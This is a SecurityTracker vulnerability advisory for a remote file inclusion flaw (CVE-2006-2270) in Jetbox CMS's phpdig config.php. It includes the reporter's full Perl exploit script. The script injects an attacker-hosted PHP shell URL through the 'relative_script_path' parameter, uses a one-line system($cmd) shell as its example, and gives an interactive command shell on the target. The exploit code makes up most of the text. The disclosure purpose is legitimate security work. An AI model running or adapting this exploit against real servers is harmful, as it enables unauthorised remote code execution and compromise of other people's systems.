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Category:   Application (Forum/Board/Portal)  >   Jetbox CMS Vendors:   jetboxone.sourceforge.net
Jetbox CMS Include File Bug in 'relative_script_path' Parameter Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1016061
SecurityTracker URL:  http://securitytracker.com/id/1016061
CVE Reference:   CVE-2006-2270   (Links to External Site)
Updated:  Aug 29 2006
Original Entry Date:  May 10 2006
Impact:   Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  

Description:   beford reported a vulnerability in Jetbox CMS. A remote user can include and execute arbitrary code on the target system.

The 'jetbox/includes/phpdig/includes/config.php' script does not properly validate user-supplied input in the 'relative_script_path' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.

The underlying bug in phpdig has reportedly been corrected, but the Jetbox version has not been corrected.

Impact:   A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
Solution:   No solution was available at the time of this entry.
Vendor URL:  jetbox.streamedge.com/ (Links to External Site)
Cause:   Input validation error, State error
Underlying OS:   Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Date:  Sat, 06 May 2006 02:00:58 -0500
Subject:  JetBox CMS Remote File Include

#!/usr/bin/perl

############

# JetBox CMS Remote File Include
# Exploit & Advisory:  beford <xbefordx gmail com>

#
# uso:# 	perl own.pl <host> <cmd-shell-url> <cmd-var>

# 		perl own.pl http://host.com/jet/ http://atacante/shell.gif cmd
#

# cmd shell example: <? system($cmd); ?>

# cmd variable: cmd;
#
#############
# Description
###########
# Vendor: http://jetbox.streamedge.com/
# The file jetbox/includes/phpdig/includes/config.php uses the variable
# relative_script_path in a include() function without being declared.
# This issue has already been fixed in phpdig, but jetbox still uses a
# vulnerable version.
############
# Vuln code
############
#if (is_file("$relative_script_path/locales/$phpdig_language-language.php"))
#    {include "$relative_script_path/locales/$phpdig_language-language.php";}
#else
#    {include "$relative_script_path/locales/en-language.php";}
############

use LWP::UserAgent;


$Path = $ARGV[0];

$Pathtocmd = $ARGV[1];

$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }

head();

while()

{

	print "[shell] \$";

	while(<STDIN>)      {

		$cmd=$_;

		chomp($cmd);
		if (!$cmd) {
			last;
		}

		$xpl = LWP::UserAgent->new() or die;

		$req = HTTP::Request->new(GET
=>$Path.'includes/phpdig/includes/config.php?relative_script_path='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";

		$res = $xpl->request($req);

		$return = $res->content;

		$return =~ tr/[\n]/[]/;

		
		if ($return =~/Error: HTTP request failed!/ || $return =~/: No se
puede ejecutar un comando en blanco <b>/) {
			print "\nNo se puede conectar al host de la cmd o el comando es invalido\n";
			exit;
		} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
			print "\nComando Invalido, o no hubo respuesta\n\n";
		}
		if ($return =~ /(.*)/) {

			$finreturn = $1;

			$finreturn=~ tr/[]/[\n]/;

			print "\r\n$finreturn\n\r";

			last;

		} else {
			print "[shell] \$";
		}

	}

} last;


sub head()  {

	 print "\n============================================================================\r\n";

	 print " JetBox CMS Remote File Include\r\n";

	 print "============================================================================\r\n";

 }


sub usage() {

	 head();

	 print " Usage: perl own.pl <host> <url-cmd> <var>\r\n\n";

	 print " <host> - Full Path : http://host/claroline/ [remember the
trailing slash noob]\r\n";

	 print " <url-cmd> - PhpShell : http://atacate/shell.gif \r\n";

	 print " <var> - var name used in phpshell : cmd  \r\n";

	 exit();

 }

 
 


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